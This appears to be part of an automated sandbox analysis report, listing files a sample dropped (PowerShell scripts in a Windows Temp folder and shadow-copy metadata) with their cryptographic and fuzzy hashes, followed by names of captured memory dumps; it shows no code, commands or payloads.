MD5 SHA1 SHA512 TLSH

Submit Download

Contacts.ps1

Path C:\Windows\Temp\turyzr0l\endpoints\Contacts.ps1
Size 2KB
SHA256 7e7680d612592d355c01248c4e5f1d1e39bd64763e4a51f7f4345e7064abf369
MD5 d53b3868f64df9acb4f7527f22f1bc83
SHA1 3b1f67d96604b49baba35de8a46b63d3a83d8aa0
SHA512 35112da1f5c8c678e12918d9029649e28651ccf3527952a2b66d685009b486a77b036f45a623f6d04558c1cae4fdcc9e56d4cca8b63dd6cdce42986d3021a78a
TLSH
T114516B90330003E439D796D579AF8824592ED2A2B49C9C3074ED51580BAFEACFC242DF
MD5 SHA1 SHA512 TLSH

Submit Download

Contracts.ps1

Path C:\Windows\Temp\turyzr0l\endpoints\Contracts.ps1
Size 1KB
SHA256 3112fbdf7bbcb9fbb541d7f9e24200770999bfc356474b95884f7c3dd7c041f3
MD5 b7a67c10e8d8c3aed6366d31661655f8
SHA1 6a16928bfa9aca27109a83dab0e8826e6476c54d
SHA512 d26ea1015fae73347c2efbf8e8e1415d13889f1a487ced30a0aaa01c6a18c03501781ac1a00a0c700c9a3b09856e0d956cd0a2204673ecd6974ab20f8e3132b1
TLSH
T196116D407783C76425EAD9947D6BCC144C12E361F08C6C2726EDB2E75AFA8B8ED1214B
MD5 SHA1 SHA512 TLSH

Submit Download

CustomValues.ps1

Path C:\Windows\Temp\turyzr0l\endpoints\CustomValues.ps1
Size 3KB
SHA256 c3194f35faa1c4429e23c4008a7f12252cbeea19c9cdbf25e375e6b335cebdf8
MD5 3e7a8ff25fb584b9bced903d2106a424
SHA1 5caa13185dac713b7a68416b76e2243655910e4c
SHA512 23be7ba63a9155c7256824b5d2f645eaac1f20cd0643a8f759aa587a2f1a6648004396c65c77adfa0458f39d5e685dce36fffbb3a7f48d1d25dadac1d2973828
TLSH
T1A471B01177608AE51EA78CE03D5EC420F97BC122A06CBD7C65FE8286198DC5CEDA719F
MD5 SHA1 SHA512 TLSH

Submit Download

Customers.ps1

Path C:\Windows\Temp\turyzr0l\endpoints\Customers.ps1
Size 3KB
SHA256 e73fba6bb20a5b43eb7ce689a02024c534595a9fe983b51d1519457e290e01af
MD5 4ced4c447948be98e4fc998a8330a173
SHA1 12230382156eda9c1e68b68201c32227126c41f9
SHA512 ec3d67f088676d9d1738f264298c6cd3f240d262a859cf6d64a6c8766e0778248fede38f9957c820e1c8317c9f0589e1572248aab7f97860d96e206eb5364445
TLSH
T12371D494332802E02CD799D1396E8520583ED193B4AD94B578FE21655F9FE38FC3829F
MD5 SHA1 SHA512 TLSH

Submit Download

Departments.ps1

Path C:\Windows\Temp\turyzr0l\endpoints\Departments.ps1
Size 1KB
SHA256 10c9f90797f075e58f9d1a40471c84fc626e75d753ac544616b11b88fc01f6e3
MD5 3eec826059d4698379f88fec9dd14e07
SHA1 20caec40f694af2f20fdaa5118b045c08ff37113
SHA512 ebb57e5a444c166ceb65acce67bf833856452da7737676168688c45c3e4b51aaf0560032085eed1bd8a9a007de2d9b52d1de0859c52cb91139c45f2daef82882
TLSH
T10D218B70A3414188E8AB85C17F6786313A66D3B2F66C583304EE42650A3FD76FD1534E
MD5 SHA1 SHA512 TLSH

Submit Download

Devices.ps1

Path C:\Windows\Temp\turyzr0l\endpoints\Devices.ps1
Size 3KB
SHA256 67f91dd5bef118f9a729821935c5380cce8c1c0bbbf22a3ae4553c3b4192fb25
MD5 af558aff5abff83271965ef09a324a39
SHA1 e5e65c67ec51cb45da1e691d1215d5873bddb044
SHA512 54c38d7251d5406954729ee6e08a98e504babcb42ecc4841c4eb4abd2719f5de5567111774ad4c7a29de0db4991d33a94a827a5f9530dc796b2b80e5f9c0bca2
TLSH
T16461AC5257824885666FD8D57DF7D620E81BC2A1B6B8C0F101EE57E11C3FE38BE1606E
MD5 SHA1 SHA512 TLSH

Submit Download

Knowledgebase.ps1

Path C:\Windows\Temp\turyzr0l\endpoints\Knowledgebase.ps1
Size 150B
SHA256 49a60311e3bce5fefa17ffb0b986e6b309f100a78522b85716432393ecb93841
MD5 b69e37331b05b7f6cc358d41a2295518
SHA1 32d269e4eb46313b5c5e42cf715a6d2460858b4e
SHA512 bc82a1301f2eaf0598ccc523878554ea95922b439a221a587b0ab036d7372b0a9796a58bae4af7d0a272bcff7f68d30ffb920c0f5340fd223811bd17d1eea70b
TLSH
T1DCC08C091042D1082C1F94D0300E8A049C709660D428A82A01AC906EE0AF1352B32AD0
MD5 SHA1 SHA512 TLSH

Submit Download

Rates.ps1

Path C:\Windows\Temp\turyzr0l\endpoints\Rates.ps1
Size 2KB
SHA256 11e9ab8efbec30752d6433cf76be9a106a02497d116b436e7fda476749065f25
MD5 e91e286e19f661557c233466902cd586
SHA1 bd899897a1d2364a71f2def3e27b89ed1f75d6ea
SHA512 a7099af776edbc76d0419fe68aabae8d953138cba531632d9c69920e66fae1313b977b4e5edb69a1cf9b4a380eb022805c8921e6abe8a326305240a3233bb3aa
TLSH
T1C7519F80E7144294255BA5E03DB6C6B02C2EC2A6B0ACEC7524FD92652E3FD34EF3954E
MD5 SHA1 SHA512 TLSH

Submit Download

Tickets.ps1

Path C:\Windows\Temp\turyzr0l\endpoints\Tickets.ps1
Size 14KB
SHA256 5ff962e0336959f3b7ee7b77a3dd75133890f98b54efee961e64a3dcccb8dc41
MD5 ae6293ab527d375448f7c0e68fbdace1
SHA1 32a29029b681520cff48f6e206deace3ca9de81c
SHA512 6426cb1dd5ee21c45f279c06aea7f6c4a1c21d50e61f0d8867a0ea9421f6dc9cf3a55a5740c9c36286c08750e15a520e55c1f5f85c177f2be3fe539a029d77b3
SSDEEP 384:Ycb3GnGlpBGaEsUsv70jSl2IhWfdA0Xzh8k0tiy36U00suUk40iUkE:ZDGnGlpBGzBytWz4F
TLSH
T1E9525540A3401398D6B36590BEA6C0203D3E96D6F05C446834ED52926B6FEB9FDF66CE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Workhours.ps1

Path C:\Windows\Temp\turyzr0l\endpoints\Workhours.ps1
Size 581B
SHA256 44a0aca0b985e5f66e6241b002e09789f802855235ca6f0cd636df01ab54c041
MD5 773718cab20e18d9d3b2a1861a669e6d
SHA1 afc741d10be25eda45f9a00b5a1521ef6cba50d7
SHA512 8f0b20922099b1ba07e0b0c17844664d5faed988e02edc65c8d06e59bcb069e4647eb0c63d8abeef1cffce87d6d3af36a6ded4b619a8201bd3859eecbfcd509d
TLSH
T14DF0F638616E454B90EE48B474AEDD24283CA1A073087B5368F9135671ABF3CF82E269
MD5 SHA1 SHA512 TLSH

Submit Download

psakefile.ps1

Path C:\Windows\Temp\turyzr0l\psakefile.ps1
Size 1KB
SHA256 1478a3fb99ce9c9a403e71695c51095338644a2f4b6a31896dc9e3b4d684b2fa
MD5 081a0e29c0fc43448ebffdd88926bb52
SHA1 f49d0fc2a3b55ff05a0e819c2ae373a0225af90e
SHA512 0a8e1be68ea26132807f43fc97966e1924678ce06454166e06598d46d46b1e124ce8a54de554ea6c694ff42cadc38b49fe6e0ff90473f2a26276062f1488f897
TLSH
T1AD21E10B67298912F48E05ADEF8B489C7CD8A16A51194C1AEADC45C8BA1671F8CD1D49
MD5 SHA1 SHA512 TLSH

Submit Download

metadata-2

Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
Size 24.1MB
SHA256 55a732552340dbc31b5f8e56bb9b2d84b1533fb25ac617b7d9b1fff31c1856b0
MD5 662577040e15eb79365d044cefac6b22
SHA1 ce0db2f8449845f1df237a4b1bfb601082b72294
SHA512 f4967adc3f61da0e26d5da9f9d473b360411ed8413340f2b990c8deb5c7b126b8c3da2025476f5f24c90e39e5d9f227c153860e33ab34808eaf2c8714037bfff
SSDEEP 24576:3u8m+1zLdoO/vvTLbWhuEGalg4kzZ1hSdnGdT+AVpUqwu2YMo/F4ZHaRk:X
TLSH
T19047D32437F92200E7F79F3DACF06A23493A7D5B9C159E8D45411B4E0921BB1E872F6A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

{40a3b6d5-3675-4db8-8227-e1da24def4f5}_OnDiskSnapshotProp

Path \??\Volume{d78106ee-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{40a3b6d5-3675-4db8-8227-e1da24def4f5}_OnDiskSnapshotProp
Size 6KB
SHA256 53fdd46569e575ca396e59fb14a57478c1f6e1559f1e578d95d35b46fd1c81b9
MD5 84363ec7f0e99640fa01eb5e06d9b8ec
SHA1 188c6e73a335cb2ad6bd48e28604b18edc2a86f7
SHA512 f964595b31696d219e2612ff355afca5086fd92fb70423520e61cb3a0522cf707a8eae7a279deff5a6b032eed20692c94875fe54e4ece7aca4e1881d6c568bf1
SSDEEP 96:FdtfVunvc8DD84LTHzbOHXOHBlBRQ88Sc9XE56tOSVQpu:Tcb++ZVm
TLSH
T124D189185AE54311E2B3AB722CF14557A877B911EF33CB8E0198238E6630A10F875F6F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/224-148-0x000000001AD20000-0x000000001AD88000-memory.dmp

Download

memory/224-154-0x0000000000A90000-0x0000000000AA8000-memory.dmp

Download

memory/224-150-0x000000001B2D0000-0x000000001B47E000-memory.dmp

Download

memory/224-147-0x00000000000B0000-0x000000000014C000-memory.dmp

Download

memory/224-153-0x000000001C6C0000-0x000000001C846000-memory.dmp

Download

memory/224-155-0x0000000002200000-0x0000000002218000-memory.dmp

Download

memory/224-149-0x000000001B090000-0x000000001B11E000-memory.dmp

Download

memory/1292-204-0x0000000005070000-0x0000000005220000-memory.dmp

Download

memory/1292-198-0x0000000002950000-0x000000000295C000-memory.dmp

Download

memory/1292-202-0x0000000004E20000-0x0000000004EB4000-memory.dmp

Download

memory/2852-105-0x0000000003900000-0x0000000003918000-memory.dmp

Download

memory/2852-111-0x00000000039B0000-0x0000000003A3E000-memory.dmp

Download

memory/2852-115-0x0000000003BF0000-0x0000000003D9E000-memory.dmp

Download

memory/2852-135-0x0000000003BA0000-0x0000000003BE1000-memory.dmp

Download

memory/2852-133-0x0000000003E10000-0x0000000003E78000-memory.dmp

Download

memory/2852-137-0x0000000004100000-0x00000000041D5000-memory.dmp

Download

memory/2852-129-0x0000000003B50000-0x0000000003BA0000-memory.dmp

Download

memory/3300-496-0x00000258AA510000-0x00000258AA586000-memory.dmp

Download

memory/3300-418-0x00000258AA4D0000-0x00000258AA4D6000-memory.dmp

Download

memory/3300-835-0x00000258A9D40000-0x00000258A9D56000-memory.dmp

Download

memory/3300-832-0x00000258AA980000-0x00000258AAB42000-memory.dmp

Download

memory/3300-733-0x00000258AACE0000-0x00000258AB208000-memory.dmp

Download

memory/3300-509-0x00000258AA3B0000-0x00000258AA3C2000-memory.dmp

Download

memory/3300-508-0x00000258AA210000-0x00000258AA21A000-memory.dmp

Download

memory/3300-359-0x00000258A97B0000-0x00000258A97D2000-memory.dmp

Download

memory/3300-367-0x00000258A9C70000-0x00000258A9C9E000-memory.dmp

Download

memory/3300-368-0x00000258A9CF0000-0x00000258A9D34000-memory.dmp

Download

memory/3300-369-0x00000258A9CA0000-0x00000258A9CB8000-memory.dmp

Download

memory/3300-371-0x00000258A9910000-0x00000258A991A000-memory.dmp

Download

memory/3300-370-0x00000258A9CC0000-0x00000258A9CD4000-memory.dmp

Download

memory/3300-372-0x00000258A9D60000-0x00000258A9D76000-memory.dmp

Download

memory/3300-373-0x00000258A9DC0000-0x00000258A9E00000-memory.dmp

Download

memory/3300-381-0x00000258A9900000-0x00000258A9908000-memory.dmp

Download

memory/3300-389-0x00000258AA260000-0x00000258AA2A4000-memory.dmp

Download

memory/3300-390-0x00000258AA220000-0x00000258AA228000-memory.dmp

Download

memory/3300-392-0x00000258AA2B0000-0x00000258AA2CC000-memory.dmp

Download

memory/3300-393-0x00000258AA2D0000-0x00000258AA385000-memory.dmp

Download

memory/3300-394-0x00000258AA390000-0x00000258AA3A6000-memory.dmp

Download

memory/3300-395-0x00000258AA240000-0x00000258AA24A000-memory.dmp

Download

memory/3300-396-0x00000258AA3D0000-0x00000258AA3E8000-memory.dmp

Download

memory/3300-397-0x00000258AA420000-0x00000258AA444000-memory.dmp

Download

memory/3300-398-0x00000258AA250000-0x00000258AA260000-memory.dmp

Download

memory/3300-399-0x00000258AA3F0000-0x00000258AA40A000-memory.dmp

Download

memory/3300-402-0x00000258AA450000-0x00000258AA46C000-memory.dmp

Download

memory/3300-409-0x00000258AA3B0000-0x00000258AA3BE000-memory.dmp

Download

memory/3300-412-0x00000258AA490000-0x00000258AA4AA000-memory.dmp

Download

memory/3300-411-0x00000258AA3C0000-0x00000258AA3CA000-memory.dmp

Download

memory/3300-413-0x00000258AA630000-0x00000258AA7A6000-memory.dmp

Download

memory/3300-414-0x00000258AA410000-0x00000258AA41A000-memory.dmp

Download

memory/3300-415-0x00000258AA4B0000-0x00000258AA4CA000-memory.dmp

Download

memory/3300-416-0x00000258AA470000-0x00000258AA478000-memory.dmp

Download

memory/3300-417-0x00000258AA480000-0x00000258AA48A000-memory.dmp

Download

memory/3300-492-0x00000258AA280000-0x00000258AA2AC000-memory.dmp

Download

memory/3300-419-0x00000258AA4E0000-0x00000258AA4EA000-memory.dmp

Download

memory/3300-484-0x00000258A9D40000-0x00000258A9D56000-memory.dmp

Download

memory/3628-332-0x000000001BEA0000-0x000000001BF34000-memory.dmp

Download

memory/3628-356-0x0000000003100000-0x000000000311A000-memory.dmp

Download

memory/3628-357-0x0000000003120000-0x0000000003161000-memory.dmp

Download

memory/3628-324-0x0000000000EE0000-0x0000000000F8E000-memory.dmp

Download

memory/3628-355-0x000000001C0F0000-0x000000001C2A0000-memory.dmp

Download

memory/3628-325-0x000000001BA80000-0x000000001BAEC000-memory.dmp

Download

memory/4408-170-0x0000000005650000-0x0000000005678000-memory.dmp

Download

memory/4408-171-0x0000000005680000-0x0000000005830000-memory.dmp

Download

memory/4408-169-0x00000000055C0000-0x0000000005654000-memory.dmp

Download

memory/4408-168-0x00000000054C0000-0x00000000054CC000-memory.dmp

Download

memory/4416-7-0x0000000006040000-0x00000000061EE000-memory.dmp

Download

memory/4416-4-0x00000000020C0000-0x00000000020C8000-memory.dmp

Download

memory/4416-0-0x0000000005FA0000-0x0000000005FB0000-memory.dmp

Download

memory/4416-2-0x0000000005FA0000-0x0000000005FB0000-memory.dmp

Download

memory/4416-5-0x0000000005FB0000-0x000000000603E000-memory.dmp

Download

memory/4416-1-0x00000000020A0000-0x00000000020A8000-memory.dmp

Download

memory/4416-6-0x0000000005F50000-0x0000000005F74000-memory.dmp

Download

memory/4416-8-0x00000000067A0000-0x0000000006D44000-memory.dmp

Download

memory/4416-9-0x00000000062D0000-0x0000000006362000-memory.dmp

Download

memory/4416-10-0x0000000005FA0000-0x0000000005FB0000-memory.dmp

Download

memory/4416-11-0x0000000005FA0000-0x0000000005FB0000-memory.dmp

Download

memory/4416-3-0x0000000005FA0000-0x0000000005FB0000-memory.dmp

Download

memory/4572-45-0x0000000002460000-0x000000000246A000-memory.dmp

Download

memory/4572-41-0x0000000002430000-0x000000000245E000-memory.dmp

Download

memory/4572-49-0x00000000025C0000-0x000000000264E000-memory.dmp

Download

memory/4572-53-0x0000000004C90000-0x0000000004E3E000-memory.dmp

Download

memory/4940-308-0x0000000003F30000-0x0000000004006000-memory.dmp

Download

memory/4940-307-0x0000000003A30000-0x0000000003A71000-memory.dmp

Download

memory/4940-306-0x0000000003A70000-0x0000000003ADC000-memory.dmp

Download

memory/4940-285-0x00000000012E0000-0x00000000012FA000-memory.dmp

Download

memory/4940-286-0x00000000038B0000-0x0000000003944000-memory.dmp

Download

memory/4940-287-0x0000000003B00000-0x0000000003CB0000-memory.dmp

Download